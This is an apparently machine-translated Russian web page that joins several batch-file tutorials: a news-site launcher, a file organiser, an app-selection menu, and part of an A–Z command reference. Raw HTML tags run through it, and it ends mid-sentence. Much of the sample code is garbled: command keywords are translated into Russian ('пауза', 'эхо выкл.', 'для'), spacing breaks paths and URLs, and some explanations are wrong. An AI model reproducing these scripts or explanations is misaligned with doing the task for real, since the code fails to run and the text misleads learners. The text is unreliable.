  2. Добавьте свои команды, начиная с @echo [off], затем — каждую в новой строке — title [название вашего пакетного скрипта], echo [первая строка] и пауза.
  3. Сохраните файл с расширением .bat , например test.bat .
  4. Чтобы запустить командный файл, дважды щелкните только что созданный BAT-файл.
  5. Чтобы отредактировать командный файл, щелкните правой кнопкой мыши BAT-файл и выберите Изменить .

Ваш необработанный файл будет выглядеть примерно так:

А вот соответствующее командное окно для примера выше:

Если это было слишком быстро или вы хотите узнать больше о командах и их использовании, читайте дальше!

Шаг 1. Создайте BAT-файл

Допустим, у вас часто возникают проблемы с сетью; вы постоянно попадаете в командную строку, набираете ipconfig и отправляете эхо-запрос в Google для устранения сетевых проблем. Через некоторое время вы понимаете, что было бы немного эффективнее, если бы вы просто написали простой файл BAT, вставили его на USB-накопитель и использовали его на машинах, на которых вы устраняете неполадки.

Лучшие приемы и подсказки с командной строкой Командная строка

— отличный инструмент для обычных пользователей ПК, потому что он прост в использовании, но мощный.Вот 15 уловок и советов, которые вы могли пропустить с помощью командной строки.

Создать новый текстовый документ

Пакетный файл упрощает повторяемые компьютерные задачи с помощью командной строки Windows. Ниже приведен пример командного файла, отвечающего за отображение некоторого текста в командной строке. Создайте новый файл BAT, щелкнув правой кнопкой мыши пустое место в каталоге и выбрав Новый , затем Текстовый документ .

Добавить код

Дважды щелкните этот Новый текстовый документ , чтобы открыть текстовый редактор по умолчанию. Скопируйте и вставьте следующий код в текстовую запись.

  @echo off 
title Это ваш первый пакетный скрипт!
echo Добро пожаловать в пакетный сценарий!
пауза

Сохранить как файл BAT

Приведенный выше сценарий повторяет текст «Добро пожаловать в пакетный сценарий!». Сохраните файл, выбрав File , Save As , а затем назовите свой файл, как хотите. Завершите имя файла добавленным расширением .bat — например, welcome.bat — и нажмите OK . Это завершит пакетный процесс. Теперь дважды щелкните созданный командный файл, чтобы активировать его.

Не думайте, что это все, что умеет пакетный сценарий. Параметры пакетных сценариев — это измененные версии кодов командной строки, поэтому вы ограничены только тем, что может делать ваша командная строка. Для тех, кто не знаком с программой, командная строка способна на многое.

Шаг 2. Изучите основы пакетного сценария

В пакетных файлах используется тот же язык, что и в командной строке. Все, что вы делаете, это сообщаете командной строке, что вы хотите ввести через файл, вместо того, чтобы вводить это в командной строке. Это экономит ваше время и силы. Это также позволяет вам вводить некоторую логику (например, простые циклы, условные операторы и т. Д., Которые процедурное программирование способно концептуально).

@echo: Этот параметр позволит вам просмотреть ваш рабочий сценарий в командной строке. Этот параметр полезен для просмотра вашего рабочего кода. Если из командного файла возникнут какие-либо проблемы, вы сможете просмотреть проблемы, связанные с вашим скриптом, с помощью функции эха. Добавление следующего off к этому параметру позволит вам быстро закрыть ваш скрипт после его завершения.

title: Предоставляя большую часть той же функции, что и тег в HTML, он предоставит заголовок для вашего пакетного сценария в окне командной строки.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/i.stack.imgur.com/ad9x1.png' /><noscript><img src='/800/600/https/i.stack.imgur.com/ad9x1.png' /></noscript></p><p> <strong> cls: </strong> Очищает командную строку, лучше всего использовать, когда посторонний код может сделать то, к чему вы обращаетесь, нужно было найти.</p><p> <strong> rem: </strong> Сокращение для <strong> примечания </strong> обеспечивает ту же функциональность, что и тег <strong> <! - </strong> в HTML.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/pc-consultant.ru/wp-content/uploads/2018/07/Zapusk-programm-v-bat-fajlah-s-kljuchami.jpg' /><noscript><img src='/800/600/https/pc-consultant.ru/wp-content/uploads/2018/07/Zapusk-programm-v-bat-fajlah-s-kljuchami.jpg' /></noscript> Операторы Rem не вводятся в ваш код. Вместо этого они используются для объяснения и предоставления информации о коде.</p><p> <strong> %% a: </strong> Каждый файл в папке.</p><p> <strong> («.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/http/pyatilistnik.org/wp-content/uploads/2015/12/avtomaticheskoe-podklyuchenie-cherez-vpn-14.png' /><noscript><img src='/800/600/http/pyatilistnik.org/wp-content/uploads/2015/12/avtomaticheskoe-podklyuchenie-cherez-vpn-14.png' /></noscript> \ «): </strong> Корневая папка. При использовании командной строки необходимо направить приглашение в конкретный каталог перед изменением имени файла, удалением файла и т. Д. В пакетных файлах вам нужно только вставить ваш .bat файл в каталог по вашему выбору.</p><p> <strong> pause: </strong> Позволяет разорвать логическую цепочку вашего файла.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/nm-store.org/files/uploads/___Windows_10__15007___0_2.jpg' /><noscript><img src='/800/600/https/nm-store.org/files/uploads/___Windows_10__15007___0_2.jpg' /></noscript> bat файл. Это позволяет пользователям читать командные строки перед продолжением кода. Фраза «Нажмите любую клавишу, чтобы продолжить …» будет обозначать паузу.</p><p> <strong> start «» [website]: </strong> Перейдет на выбранный вами веб-сайт с помощью браузера по умолчанию.</p><p> <strong> ipconfig: </strong> Это классический параметр командной строки, который раскрывает информацию, касающуюся сетевой информации.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/help.ez-catalog.ru/image/cat-191-000001.jpg' /><noscript><img src='/800/600/https/help.ez-catalog.ru/image/cat-191-000001.jpg' /></noscript> Эта информация включает MAC-адреса, IP-адреса и маски подсети.</p><p> <strong> ping: </strong> Пингует IP-адрес, отправляя пакеты данных по маршрутам сервера, чтобы измерить их местоположение и задержку (время ответа).</p><p> Библиотека пакетных переменных, мягко говоря, огромна.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/http/www.mustafakasikci.com/wp-content/uploads/2017/12/120117_1340_SCCMbatBat10.png' /><noscript><img src='/800/600/http/www.mustafakasikci.com/wp-content/uploads/2017/12/120117_1340_SCCMbatBat10.png' /></noscript> К счастью, в Викибуке есть запись, содержащая обширную библиотеку параметров и переменных пакетного сценария.</p><h3><span class="ez-toc-section" id="_3_BAT"> Шаг 3: напишите и запустите свой BAT-файл </span></h3><p> Мы создадим два примера пакетных скриптов, которые могут упростить вашу повседневную работу в сети и офлайн.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/lumpics.ru/wp-content/uploads/2018/12/Sohranit-tekstovyiy-fayl-v-OS-Windows-7.png' /><noscript><img src='/800/600/https/lumpics.ru/wp-content/uploads/2018/12/Sohranit-tekstovyiy-fayl-v-OS-Windows-7.png' /></noscript></p><h4><span class="ez-toc-section" id="i-17"> Новостной скрипт </span></h4><p> Давайте создадим сразу полезный пакетный скрипт.<img class="lazy lazy-hidden" src="//pk-region.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/https/i1.wp.com/tvoykomputer.ru/wp-content/uploads/2016/01/bat-13.jpg' /><noscript><img src='/800/600/https/i1.wp.com/tvoykomputer.ru/wp-content/uploads/2016/01/bat-13.jpg' /></noscript> Что, если бы вы захотели открыть все свои любимые новостные сайты сразу после пробуждения? Поскольку в пакетных сценариях используются параметры командной строки, мы можем создать сценарий, который открывает все средства массовой информации в одном окне браузера.</p><p> Чтобы повторить процесс создания партии: сначала создайте пустой текстовый файл.<strong> Щелкните правой кнопкой мыши </strong> в пустом месте в папке по вашему выбору и выберите <strong> Новый </strong>, затем <strong> Текстовый документ </strong>. Открыв текстовый файл, введите следующий сценарий. В нашем примере представлены основные американские СМИ, доступные в Интернете.</p><pre> <code> @echo off <br/> start "" http: // www.cnn.com <br/> start "" http://www.abc.com <br/> start "" http://www.msnbc.com <br/> start "" http://www.bbc.com <br/> start "" http: // www.huffingtonpost.com <br/> start "" http://www.aljazeera.com <br/> start "" https://news.google.com/ </code> </pre><p> В приведенном выше сценарии один параметр <strong> start «» </strong> накладывается поверх другого, чтобы открыть несколько вкладок.Вы можете заменить предоставленные ссылки на любые по вашему выбору. После того, как вы вошли в сценарий, перейдите к <strong> File </strong>, затем <strong> Save As </strong>. В окне «Сохранить как» сохраните файл с расширением <strong> .bat </strong> и измените параметр <strong> Сохранить как тип </strong> на <strong> Все файлы (*. *) </strong>.</p><p> После того, как вы сохранили файл, все, что вам нужно сделать, это <strong> дважды щелкнуть ваш BAT-файл </strong>.Мгновенно откроются ваши веб-страницы. Если хотите, можете разместить этот файл на своем рабочем столе. Это позволит вам получить доступ ко всем вашим любимым веб-сайтам одновременно.</p><h4><span class="ez-toc-section" id="i-18"> Организатор файлов </span></h4><p> Вы загружали несколько файлов в день, но сотни файлов забивали вашу папку загрузки? Создайте пакетный файл с помощью следующего сценария, который упорядочивает ваши файлы по типам файлов.Поместите файл .bat в свою неорганизованную папку и дважды щелкните, чтобы запустить.</p><pre> <code> @echo off <br/> rem Для каждого файла в папке <br/> для %% a in (".\ * ") do (<br/> rem проверьте, есть ли у файла расширение, и если это не наш скрипт <br/> if" %% ~ xa "NEQ" "if" %% ~ dpxa "NEQ"% ~ dpx0 "(<br/> rem check если папка расширения существует, в противном случае создается <br/>, если не существует "%% ~ xa" mkdir "%% ~ xa" <br/> rem Переместить файл в каталог <br/> move "%% a" "%% ~ dpa %% ~ xa \ "<br/>)) </code> </pre><p> Вот пример моего рабочего стола раньше, неуклюжий набор файлов изображений.</p><p> Вот те самые файлы потом.</p><p> Это так просто.Этот пакетный сценарий также будет работать с любым типом файла, будь то документ, видео или аудиофайл. Даже если ваш компьютер не поддерживает формат файла, сценарий создаст для вас папку с соответствующей меткой. Если у вас уже есть папка JPG или PNG в вашем каталоге, скрипт просто переместит ваши типы файлов в соответствующее место.</p><h3><span class="ez-toc-section" id="i-19"> Автоматизируйте простые вещи с помощью пакетных скриптов </span></h3><p> Это лишь часть того, что могут предложить пакетные скрипты.Если вам нужно делать что-то простое снова и снова — будь то заказ файлов, открытие нескольких веб-страниц, массовое переименование файлов или создание копий важных документов — вы можете упростить утомительные задачи с помощью пакетных сценариев.</p><p> Сделайте еще больше, включив операторы IF в свои пакетные сценарии.А если вы также используете Linux, ознакомьтесь с лучшими способами использования команды <strong> df </strong>.</p> <strong> Что мне делать со старым ноутбуком? </strong><p> Приобретаете новый ноутбук? Вот что вы можете сделать со своим старым, если он все еще работает, от утилизации до продажи — и не только.</p> <strong> Об авторе </strong> <strong> Ян Бакли (Опубликовано 203 статьи) </strong><p> Ян Бакли, журналист-фрилансер, музыкант, исполнитель и видеопродюсер, живет в Берлине, Германия.Когда он не пишет или не на сцене, он возится с электроникой или кодом своими руками в надежде стать безумным ученым.</p> Больше От Яна Бакли<h5><span class="ez-toc-section" id="i-20"> Подпишитесь на нашу рассылку новостей </span></h5><p> Подпишитесь на нашу рассылку, чтобы получать технические советы, обзоры, бесплатные электронные книги и эксклюзивные предложения!</p><h5><span class="ez-toc-section" id="i-21"> Еще один шаг…! </span></h5><p> Подтвердите свой адрес электронной почты в только что отправленном вам электронном письме.</p><h2><span class="ez-toc-section" id="i-22"> Как сделать батник </span></h2><p> Обновлено: 31.12.2020, Computer Hope</p><p> Ниже приведены шаги по созданию командного файла на любом компьютере под управлением операционной системы Microsoft (например, MS-DOS или любой версии Windows).</p><h3><span class="ez-toc-section" id="_Microsoft_Windows"> Создание командного файла в Microsoft Windows </span></h3><p> В Windows вы можете создать командный файл, выполнив следующие действия или шаги, указанные в разделе командной строки MS-DOS.Если вам удобнее работать с Microsoft Windows, вы можете использовать любой текстовый редактор (например, Блокнот или WordPad) для создания командных файлов. Если расширение файла заканчивается на <b> .bat </b>. В приведенном ниже примере мы используем Блокнот Windows для создания командного файла.</p><ol><li> Нажмите Пуск.</li><li> Введите <b> Блокнот </b> в поле Выполнить и нажмите <kbd> Введите </kbd>.</li><li> Открыв Блокнот, введите следующие строки или скопируйте и вставьте их.</li></ol><pre> @ эхо выкл. echo Привет, это тестовый пакетный файл Пауза каталог c: \ windows пауза </pre><ol start="4"><li> Щелкните <b> Файл </b>, затем <b> Сохранить </b>, а затем перейдите туда, где вы хотите сохранить файл.В качестве имени файла введите <b> test.bat </b>, и если в вашей версии Windows есть параметр <i> Сохранить как тип </i>, выберите <b> Все файлы </b>, в противном случае он будет сохранен как текстовый файл. Выполнив эти шаги, нажмите кнопку <b> Сохранить </b> и выйдите из блокнота.</li><li> Чтобы запустить командный файл, дважды щелкните его, как любую другую программу. После завершения работы командного файла он автоматически закрывается.</li></ol><h3><span class="ez-toc-section" id="_MS-DOS"> Создание командного файла в MS-DOS </span></h3><p> Чтобы создать пакетный файл в MS-DOS или командной строке Windows, выполните следующие действия.</p> Запись<p> Новые версии Windows или компьютеры с 64-разрядной версией Windows больше не поддерживают команду редактирования, что означает, что эти шаги больше не работают. Выполните указанные выше действия, если вы используете последнюю версию Windows.</p><ol><li> Откройте командную строку Windows.</li><li> В командной строке MS-DOS введите: <b> edit test.bat </b> и нажмите <kbd> Введите </kbd>.</li><li> При правильном вводе должен появиться синий экран редактирования. На экране редактирования введите:</li></ol><pre> @ эхо выкл. echo Привет, это тестовый пакетный файл Пауза каталог c: \ windows пауза </pre><ol start="4"><li> После ввода этих трех строк щелкните <b> Файл </b> и выберите <b> выход </b>; когда будет предложено сохранить, нажмите <b> Да </b>.Пользователи без мыши могут выполнить ту же задачу, нажав <kbd> Alt </kbd> + <kbd> F </kbd> для доступа к меню файла, а затем <b> X </b> для выхода. Нажмите <kbd> Введите </kbd>, чтобы сохранить изменения.</li><li> Вернувшись в командную строку MS-DOS, введите: <b> test </b> и нажмите <kbd>. Введите </kbd>, чтобы запустить файл test.bat. Поскольку первая строка — это пауза, сначала вам будет предложено нажать клавишу. После этого командный файл запускается построчно; в этом случае перечисление файлов в каталогах Windows и Windows \ system.</li></ol> Наконечник<p> Если вы хотите добавить больше строк в этот командный файл, введите <b> edit test.bat </b>, чтобы открыть файл для редактирования.</p><p> Дополнительная информация о команде редактирования MS-DOS находится на нашей странице команд редактирования. Некоторые версии MS-DOS и загрузочные дискеты могут не иметь команды редактирования. В этом случае вам нужно будет либо получить файл edit.com, либо использовать команду copy con.</p><h2><span class="ez-toc-section" id="i-23"> Как создать пакетный файл, открывающий приложения, которые вы выбираете из списка </span></h2><p> В предыдущем совете я показал вам, как создать пакетный файл для одновременного открытия нескольких приложений.</p><p> Этот командный файл отлично работает, если вы хотите, чтобы одни и те же приложения всегда открывались одновременно.</p><p> Но что, если у вас есть несколько приложений, которые вы часто используете, и вы хотите выбрать из списка только определенную комбинацию приложений, которые нужно открывать одновременно?</p><p> Например, у вас должен быть отчет о книге, и вам нужно поискать материал в Интернете. В этом случае вы хотите открыть Microsoft Word и Firefox.</p><p> Или пришло время оплачивать счета, и вам нужно открыть Блокнот, Калькулятор и Microsoft Excel.</p><p> Для этого мы можем создать командный файл со списком приложений. Когда вы запустите командный файл, появится меню, которое будет принимать вводимые пользователем данные из командной строки и открывать выбранные вами приложения (как показано на скриншоте выше).</p><p> Чтобы создать пакетный файл, сначала вам нужно составить список приложений, которые вы часто используете.</p><p> В этом примере я выберу шесть приложений (помните, что их может быть любое количество и любой тип приложений, которые вы хотите использовать):</p><ul><li> Блокнот</li><li> Калькулятор</li><li> Microsoft Word</li><li> Microsoft Excel</li><li> Internet Explorer</li><li> Firefox</li></ul><p> Затем найдите путь к исполняемому файлу для каждого приложения.Это можно сделать, найдя ярлык приложения в меню «Пуск» и щелкнув правой кнопкой мыши значок приложения (убедитесь, что выбрана вкладка «Ярлык»).</p><p></p><p> Для приложений Microsoft Office вам нужно будет заглянуть в папку, в которой установлен Office. На моем компьютере путь к исполняемому файлу:</p><p> C: \ Program Files \ Microsoft Office \ Office12 EXCEL.EXE</p><p> <strong> ПРИМЕЧАНИЕ. </strong> <em> Ваш путь может отличаться в зависимости от версии Windows и Office, которые вы используете.</em></p><p> Для любого исполняемого файла приложения, который вы не можете найти, используйте поиск Windows (в XP и Vista), чтобы найти местоположение.</p><p> <strong> Создание командного файла </strong></p><p> Просто щелкните правой кнопкой мыши на рабочем столе и выберите <em> New \ TextDocument </em>.</p><p> Затем назовите файл как хотите, а пока оставьте расширение как <em> .txt </em> (я назвал свой файл <em> chooseapp.txt </em>).</p><p> Откройте файл, созданный с помощью блокнота, затем скопируйте и вставьте следующий код.Описание кода приведено ниже:</p><p> @echo off <br/> cls <br/>: запуск <br/> echo. <br/> эхо 1. Блокнот <br/> эхо 2. Калькулятор <br/> эхо 3. Microsoft Word <br/> эхо 4. Microsoft Excel <br/> эхо 5. Internet Explorer <br/> эхо 6. Firefox <br/> эхо 7. Я готово <br/> эхо. <br/> эхо. <br/> set / p x = Pick: <br/> IF ‘% x%’ == ‘% x%’ GOTO Item_% x%</p><p>: Item_1 <br/> start / MIN / DC: \ Windows \ System32 notepad.exe <br/> GOTO Start</p><p>: Item_2 <br/> start / MIN / DC: \ Windows \ System32 calc.exe <br/> GOTO Start</p><p>: Item_3 <br/> start / MIN / D «C: \ Program Files \ Microsoft Office \ Office10» WINWORD.EXE <br/> GOTO Start</p><p>: Item_4 <br/> start / MIN / D «C: \ Program Files \ Microsoft Office \ Office10» EXCEL.EXE <br/> GOTO Start</p><p>: Item_5 <br/> start / MIN / D «C: \ Program Files \ Internet Explorer \ iexplore.exe» http://www.google.com <br/> GOTO Start</p><p>: Item_6 <br/> start / MIN / D «C: \ Program Files \ Mozilla Firefox» firefox.exe http://www.google.com <br/> GOTO Start</p><p>: Item_7 <br/> выход</p><p> <strong> Вот как работает командный файл </strong></p><p> — @echo off предотвращает отображение результатов команд в командной строке.</p><p> cls — очищает экран</p><p>: start — запускает команды для отображения списка</p><p> эхо. — создает пустую строку</p><p> echo 1. Блокнот <br/> echo 2. Калькулятор <br/> echo 3. Microsoft Word <br/> echo 4. Microsoft Excel <br/> echo 5. Internet Explorer <br/> echo 6. Firefox <br/> echo 7. Я готов</p><p> Строки выше — это приложения, которые будут отображаться в списке. <strong> <em> Вы должны отредактировать эти строки, указав названия приложений, которые вы хотите отображать.</em> </strong></p><p> set / p x = Pick: — установить имя переменной x = Pick, которая будет использоваться в следующей строке</p><p> IF ‘% x%’ == ‘% x%’ GOTO Item_% x% — инструкция, определяющая, какой номер в списке вы выбрали, и переход к строке (GOTO), которая откроет приложение. <br/></p><p> <em> <strong> — >>> Две вышеуказанные строки редактировать не следует <<< - </strong> </em></p><p>: Item_1 <br/> start / MIN / DC: \ Windows \ System32 notepad.exe <br/> GOTO Start</p><p> Во всех строках, начинающихся с: Item_ и их номер (в моем примере от 1 до 6), вы вводите путь и имя исполняемого файла приложения, которое нужно открыть.</p><p> Команда запуска состоит из двух частей:</p><p> MIN минимизирует приложение при его открытии (<strong> ПРИМЕЧАНИЕ: </strong> <em>, некоторые приложения игнорируют это и НЕ открывают свернутый </em>).</p><p> / DC: \ Windows \ System32 notepad.exe — это место, где вы вводите путь и имя исполняемого файла. <em> <strong> Вам нужно будет отредактировать этот параметр в приложении, которое вы хотите открыть </strong> </em>.</p><p> GOTO Start — указывает командному файлу вернуться в начало строки Start, что позволит вам сделать другой выбор.</p><p>: Item_7 <br/> выход</p><p> Приведенные выше строки завершают пакетный файл, когда вы выбираете опцию 7. <strong> В зависимости от количества приложений в ВАШЕМ списке не забудьте перенумеровать список, включая последний элемент, который использовался для выхода из пакетного файла. </strong> <br/></p><p> Когда закончите, сохраните файл и не забудьте переименовать файл (щелкните файл правой кнопкой мыши и выберите переименовать) и используйте <strong> .bat </strong> в качестве расширения.</p><p> <strong> Время запуска командного файла </strong> <br/></p><p> Чтобы запустить его, дважды щелкните командный файл.Появится командное окно, позволяющее вам делать выбор по одному (он будет циклическим), введя число рядом со словом <em> Pick, </em>, а затем нажав клавишу <em> Enter </em>.</p><p> Сделав свой выбор, не забудьте выбрать последний номер в списке, чтобы пакетный файл завершился.</p><p> Если вам нужно повторно отредактировать командный файл, просто щелкните его правой кнопкой мыши и выберите «Редактировать» (не щелкайте дважды для редактирования). После редактирования сохраните файл перед закрытием.</p><p> Как видите, создание этого командного файла может оказаться небольшой утилитой.Его также можно использовать не только для открытия приложений, но и для часто используемых файлов (просто создайте еще одну строку в списке и добавьте путь к файлу с именем файла).</p><h2><span class="ez-toc-section" id="_A-Z"> команд командного файла (A-Z) | Пояснения и примеры </span></h2><p> В этом руководстве вы узнаете о командах <strong> пакетного файла </strong> и о том, как они используются при написании сценариев или программировании пакетного файла.</p><p></p><p> Как обсуждалось в предыдущем руководстве, пакетный файл — это неформатированный текстовый файл или файл сценария, который содержит несколько команд или инструкций пакетного файла для выполнения определенной задачи.Он имеет расширение <code> .bat </code> или <code> .cmd </code>.</p><p> Щелкните здесь, чтобы ознакомиться с введением командного файла перед изучением команд командного файла.</p><h3><span class="ez-toc-section" id="_Windows_DOS"> <strong> Команды командного файла: Windows / DOS </strong> </span></h3><p> Для простоты обучения мы перечислили все команды </strong> командного файла <strong> с соответствующими примерами и пояснениями ниже. Пожалуйста, нажмите на команды, чтобы узнать подробности.</p><p><h4><span class="ez-toc-section" id="i-24"> Список команд командного файла </span></h4></p><p></p><p> <strong> Примечание: </strong> Команды пакетного файла не чувствительны к регистру</p><h5><span class="ez-toc-section" id="i-25"> <strong> АССОК </strong> </span></h5><hr/><p> Пакетная команда <code> ASSOC </code> связывает расширение файла с типом файла или перечисляет все ассоциации.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. АССОК | найти ".txt" пауза </code> </pre><p> <strong> Выход </strong></p><pre> <samp> .txt = текстовый файл </samp> </pre><p> Как показано в выходных данных выше, он отображает ассоциацию файлов для расширения <code> .txt и </code>.</p><p> Если записан и выполнен только <code> ASSOC </code>, он отобразит все ассоциации файлов для каждого расширения, а не только расширение <code> .txt </code>.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-26"> <strong> АТРИБ </strong> </span></h5><hr/><p> Пакетная команда <code> ATTRIB </code> используется для отображения атрибутов файла или установки атрибута для файла в рабочем каталоге.</p><p> <strong> Пример </strong></p><p> Теперь предположим, что у нас есть файл <code> note.txt </code> в нашем рабочем каталоге. Мы отобразим его атрибуты файла, а затем сделаем его скрытым и доступным только для чтения, добавив к нему атрибуты <code> 'ah' </code> и <code> 'r' </code>. И, наконец, мы удалим некоторые добавленные атрибуты.</p><pre> <code> @ эхо ВЫКЛ. :: Для отображения атрибута note.txt ATTRIB note.txt :: Чтобы сделать его только для чтения, добавив 'r' ATTRIB + r примечание.текст ATTRIB note.txt :: Чтобы скрыть его, добавив "ах" ATTRIB + ah note.txt ATTRIB note.txt :: Чтобы удалить атрибут только для чтения ATTRIB -r note.txt ATTRIB note.txt </code> </pre><p> <strong> Выход </strong></p><pre> <samp> Примечание.txt A R note.txt A R AH note.txt AH note.txt </samp> </pre><p> Здесь, в этом выводе, A означает <em> Архивный </em>, R означает <em> Только чтение </em> и AH означает <em> Скрытый файл </em>.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><p></p><h5><span class="ez-toc-section" id="CD"> <strong> CD </strong> </span></h5><hr/><p> Пакетная команда <code> CD </code> помогает перемещаться по различным каталогам и изменять каталоги или отображать текущий каталог.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: CD без каких-либо параметров отображает текущий рабочий каталог CD :: Переход в родительский каталог на один уровень выше CD.. CD :: Изменение пути к программам CD \ Программы CD пауза </code> </pre><p> <strong> Выход </strong></p><pre> <samp> C: \ Пользователи \ abc C: \ Пользователи C: \ Программы </samp> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-27"> <strong> ЧКДСК </strong> </span></h5><hr/><p> Пакетная команда <code> CHKDSK </code> используется для проверки ошибок на диске.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЧКДСК </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-28"> <strong> ВЫБОР </strong> </span></h5><hr/><p> Пакетная команда <code> CHOICE </code> предоставляет пользователю список опций.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЭХО Хочешь кофе? ECHO Введите Y для да ECHO Введите N, если нет ВЫБОР / c ДН / м «Да или Нет» </code> </pre><p> <strong> Выход </strong></p><p> Теперь этот сценарий выдаст следующий результат.</p><pre> <samp> Хотите кофе? Введите Y для да Введите N, если нет Да или Нет [Д, Н]? </samp> </pre><p> Теперь консоль ждет вашего ввода, и как только вы введете свой ответ, она прекратит работу.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="CLS"> <strong> CLS </strong> </span></h5><hr/><p> Пакетная команда <code> CLS </code> очищает экран.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. CLS пауза </code> </pre><p> Эта команда просто очищает все журналы на экране командной строки.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="CMD"> <strong> CMD </strong> </span></h5><hr/><p> Пакетная команда <code> CMD </code> вызывает новое окно командной строки.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. CMD </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-29"> <strong> КОМП </strong> </span></h5><hr/><p> Пакетная команда <code> COMP </code> сравнивает размер двух файлов и проверяет, отличаются ли они по размеру.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. КОМП C: \ abc.txt C: \ xyz.txt </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-30"> <strong> КОНВЕРТ </strong> </span></h5><hr/><p> Пакетная команда <code> ПРЕОБРАЗОВАЕТ </code> тома или диски из одного формата в другой, то есть из FAT в NTFS.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ПРЕОБРАЗОВАТЬ D: \ </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-31"> <strong> КОПИЯ </strong> </span></h5><hr/><p> Пакетная команда <code> COPY </code> используется для копирования файлов из одного места в другое.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Для копирования с одного диска на другой -xyz.txt из D: \ в E: \ КОПИЯ D: \ xyz.txt E: \ :: Если в имени файла есть пробелы - используйте двойные кавычки КОПИРОВАТЬ "D: \ my file.txt" E: \ </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-32"> <strong> ДАТА </strong> </span></h5><hr/><p> Пакетная команда <code> ДАТА </code> отображает текущую дату в системе.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. echo% DATE% </code> </pre><p> <strong> Выход </strong></p><pre> <samp> пт 07.07.2017 </samp> </pre><p> Эта команда DATE отображает системную дату в командной строке, как показано выше.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="DEL"> <strong> DEL </strong> </span></h5><hr/><p> Пакетная команда <code> DEL </code> используется для удаления файлов.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Чтобы удалить отдельный файл xyz.txt DEL D: \ xyz.txt :: Удалить все файлы с расширениями .txt и запросить подтверждение перед удалением DEL / p / s D: \ *. Txt :: Remove \ p для удаления без подтверждения DEL / с D: \ *. Txt </code> </pre><p> <strong> Примечание. Команда </strong> DEL удаляет только файлы, но не каталоги.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="DIR"> <strong> DIR </strong> </span></h5><hr/><p> Пакетная команда <code> DIR </code> выводит список всего содержимого каталогов.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Чтобы вывести все содержимое текущего каталога DIR :: Вывести список всех скрытых файлов рабочего каталога DIR / ах :: Вывести список всех файлов с расширениями .php DIR * .php </code> </pre><h5><span class="ez-toc-section" id="i-33"> <strong> ДИСКОВАЯ ЧАСТЬ </strong> </span></h5><hr/><p> Пакетная команда <code> DISKPART </code> показывает свойства раздела диска.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. DISKPART </code> </pre><p> Этот сценарий запросит у пользователей разрешение на проверку свойств раздела диска и, если разрешено, отобразит следующий вывод в консоли в зависимости от свойств диска.</p><p></p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-34"> <strong> ЗАПРОС ВОДИТЕЛЯ </strong> </span></h5><hr/><p> Пакетная команда <code> DRIVERQUERY </code> отображает все установленные драйверы и их свойства.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЗАПРОС ВОДИТЕЛЯ </code> </pre><p> <strong> Выход </strong></p><p> <strong> </strong></p><p> Этот вывод показывает часть списка драйверов с их свойствами и датой установки. <code> DRIVERQUERY </code> команда показывает весь список драйверов, который огромен.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-35"> <strong> ЭХО </strong> </span></h5><hr/><p> Пакетная команда <code> ECHO </code> используется для вывода команд включения / выключения и вывода сообщения на консоль.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. эхо Привет </code> </pre><p> <strong> Выход </strong></p><pre> <samp> Привет </samp> </pre><p> Эта команда ECHO отображает Hello в консоли, как показано выше.</p><p> Помимо сообщения печати, 